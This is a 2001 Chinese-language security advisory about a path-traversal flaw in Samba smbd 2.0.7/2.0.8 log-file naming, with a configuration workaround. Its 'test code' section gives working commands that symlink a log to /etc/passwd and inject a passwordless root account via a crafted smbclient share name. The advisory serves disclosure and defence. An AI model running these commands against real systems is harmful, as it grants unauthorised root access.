xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SMBd 远程文件可建立漏洞


发布时间:2001-06-25
更新时间:2001-06-25
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
SMBd version 2.0.7
SMBd version 2.0.8
详细描述
由于对进站的SMB请求没有很好的对NETBIOS电脑名字进行合法性检查,samba
守护程序允许远程攻击者在LOG目录外建立可定义内容的SMB会话LOG文件(*.log),
这个漏洞可以造成远程拒绝服务攻击,或者组合本地连接,可以使权限提升。

默认在有漏洞的平台,SMB会话进程记录文件到/var/log/samba/.log. 如果攻击者
从'FOOBAR'连接,LOG就会放到/var/log/foobar.log中,不幸运的是,象'../../../evil'
这样的NETBIOS名字也可以被接受,建立/evil.log。

如果在smb.conf文件中有这样的设置,上面的方法就可以利用:

log file = /var/log/samba/%m.log

有些FREEBSD中的配置如下所示:

log file = /usr/local/samba/var/log.%m
这种就不存在漏洞。

测试代码
下面是REDHAT 7.X的利用方法:

$ ln -s /etc/passwd /tmp/x.log
   $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N

这里的NIMUE是本地主机名字:

   $ su toor
   #

   上面的方法SAMBA守护程序会尝试访问'../../../tmp/x'LOG文件,而不
存在时会转化为open() /var/log/samba/../../../tmp/x.log方式,而且
/tmp/x.log是以O_APPEND模式打开,又建立了符号连接,这样匿名用户尝试
mount不存在的共享名字"\ntoor::0:0::/:/bin/sh\n" 就被记录到/tmp/x.log,
即/etc/passwd中,错误信息如下所示:

[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925)
     Rejecting user 'lcamtuf': authentication failed
   [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
     ../../../tmp/x (192.233.133.108) couldn't find service
     toor::0:0::/:/bin/sh

解决方案
临时方法就是把log文件设置为第二种方法,详细信息可在如下地址查询:

http://us1.samba.org/samba/whatsnew/macroexploit.html

相关信息
lcamtuf at razor.bindview.com